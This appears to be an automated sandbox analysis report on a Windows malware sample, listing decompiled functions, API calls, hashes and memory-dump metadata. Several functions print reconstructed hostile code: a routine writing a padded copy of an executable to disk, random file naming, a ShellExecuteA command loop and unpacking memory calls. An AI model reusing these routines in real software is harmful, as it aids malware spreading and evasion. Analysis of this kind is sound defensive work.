SetFileAttributesA.KERNEL32(?,00000080,?,74E043E0,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,74E043E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,74E043E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,74E043E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,74E043E0,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,74E043E0,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,74E043E0,00000000), ref: 0040683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,74E043E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,74E043E0,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,74E043E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,74E043E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNELBASE(000000FF,?,74E043E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x61080101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x61080103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x61080102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,74E481D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 9406106fe81e47b207fd746d5c11beca6957dd7a726dfd862efddfda91f1d23f
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 8031EEB2900108BFDF00EFA09D45ADF7F78AF48310F15807AE112F7291D674AAA08F69

Uniqueness

Uniqueness Score: -1.00%

Function 0041CA1B, Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 447COMMON

Download Yara Rule

APIs

__wremove.LIBCMTD ref: 0041CA1C

Part of subcall function 00424AE0: __dosmaperr.LIBCMTD ref: 00424B10

Part of subcall function 00424B30: __wremove.LIBCMTD ref: 00424B39

_putc.LIBCMTD ref: 0041CA29

Part of subcall function 00424880: __invalid_parameter.LIBCMTD ref: 0042490D

Part of subcall function 0041E58B: __EH_prolog.LIBCMT ref: 0041E590

_atexit.LIBCMTD ref: 0041CA41
_malloc.LIBCMTD ref: 0041CA47

Part of subcall function 00424600: __nh_malloc_dbg.LIBCMTD ref: 00424616

_realloc.LIBCMTD ref: 0041CA4E

Part of subcall function 004245D0: __realloc_dbg.LIBCMTD ref: 004245E4

Part of subcall function 004245B0: __wcstoi64.LIBCMTD ref: 004245BD

Part of subcall function 0041E479: std::ios_base::_Ios_base_dtor.LIBCPMTD ref: 0041E48B

Strings

[95$8w, xrefs: 0041CE35
G;=$8w, xrefs: 0041CE44
\H, xrefs: 0041CCF8
X<, xrefs: 0041CD45

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __wremove$H_prologIos_base_dtor__dosmaperr__invalid_parameter__nh_malloc_dbg__realloc_dbg__wcstoi64_atexit_malloc_putc_reallocstd::ios_base::_
String ID: G;=$8w$X<$[95$8w$\H
API String ID: 2929634291-3059273060
Opcode ID: be94a6b44561395aa12c080c17918b365d50dc2a92a877d4216f50982c093a7a
Instruction ID: cff7bfb69c9dbf252436d1fcd4124238b9e0329332603f956b69c5a9ea365ace
Opcode Fuzzy Hash: be94a6b44561395aa12c080c17918b365d50dc2a92a877d4216f50982c093a7a
Instruction Fuzzy Hash: 73D1E976802528BBC715ABA1EE4CDDF7F6CEF4A355B004066F60AA5030D7385685CBBE

Uniqueness

Uniqueness Score: -1.00%

Function 0086003C, Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0086024D

Strings

kernel32.dll, xrefs: 0086008F, 00860095
cess, xrefs: 0086018D

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction ID: a674808c53c304cfb92e66001fc9b1103b688bc5da09f1356f6c0807d8b00ea4
Opcode Fuzzy Hash: 1bc5c981d6fea912fcc7dcc340e60fde74e519195c6ec5c7e407c243dd4fdd56
Instruction Fuzzy Hash: 13526874A012299FDB64CF58C985BA9BBB1BF09304F1580E9E90DAB351DB30AE84DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00421E27, Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 00421E4A
__heap_alloc_base.LIBCMTD ref: 00421FD7
_memset.LIBCMT ref: 00422125
_memset.LIBCMT ref: 00422142
_memset.LIBCMT ref: 0042215D

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID:
API String ID: 4254127243-0
Opcode ID: 8faa21df6532dbb22b09924f3a086a9ff39343b45df1ae30e0144d5a24888449
Instruction ID: 68d95426a63577b4b3a29510f77fd9ca167889a159284c567c92ec03bc69f23f
Opcode Fuzzy Hash: 8faa21df6532dbb22b09924f3a086a9ff39343b45df1ae30e0144d5a24888449
Instruction Fuzzy Hash: CBB18074A00214DBDB14CF54ED86BAA77F1FB58304F21C15AE9586B3A1C379AE80CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00006108);
				_pop(_t24);
				_push(_t14 ^ 0x61616161);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,74E481D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction ID: 3080a8c352511dab3afe6aac1e5f9bdd01cc5e55c8c8f00722b444f0ba2a7742
Opcode Fuzzy Hash: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction Fuzzy Hash: D6018F7294020877EE106F62AC47F9F3E1DEB54718F04883AF619790D2D9BA94709A6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Strings

0t, xrefs: 0040EC78

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID: 0t
API String ID: 1209300637-1355922044
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041C0EC, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 220memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(00000040,00000000), ref: 0041C791

Strings

VirtualProtect, xrefs: 0041C73E

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID: VirtualProtect
API String ID: 544645111-268857135
Opcode ID: 406cff1923459485fbb8881319f5a823a98492e693cb9427460e66dbfeca812c
Instruction ID: b492083ec97f5b503f512f7c749ea929ea7ffe92077e2268f6d2e454524021ad
Opcode Fuzzy Hash: 406cff1923459485fbb8881319f5a823a98492e693cb9427460e66dbfeca812c
Instruction Fuzzy Hash: 7EE1E0B56093818FD3758B2AC5897CAF3E4BF95314F04890CE6D946621D7319984CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 00421D7F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

Qa, xrefs: 00421D79

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID:
String ID: Qa
API String ID: 0-3901847582
Opcode ID: 15cf1110753ceb70c640cc3a1b9c05bfd8ef054f9cf16f5cb63bfc33bf241c63
Instruction ID: 46d726c85c55f5e0d3fbf6847e83da08b66947c322da107e5dcb79b9e623dd23
Opcode Fuzzy Hash: 15cf1110753ceb70c640cc3a1b9c05bfd8ef054f9cf16f5cb63bfc33bf241c63
Instruction Fuzzy Hash: 0F015AB0710119EBDB14CF54E844BEB33A4AF64304F50845AF805872A0D73CEA51CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x61080100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction ID: 162d7f392e51f347a0f03a95c4dfe3fd2355f2c09eeccb2d2824a4f222a18d72
Opcode Fuzzy Hash: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction Fuzzy Hash: 7D41EE718083497EEB269664988C7E73BA49B52310F2809FFD492B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

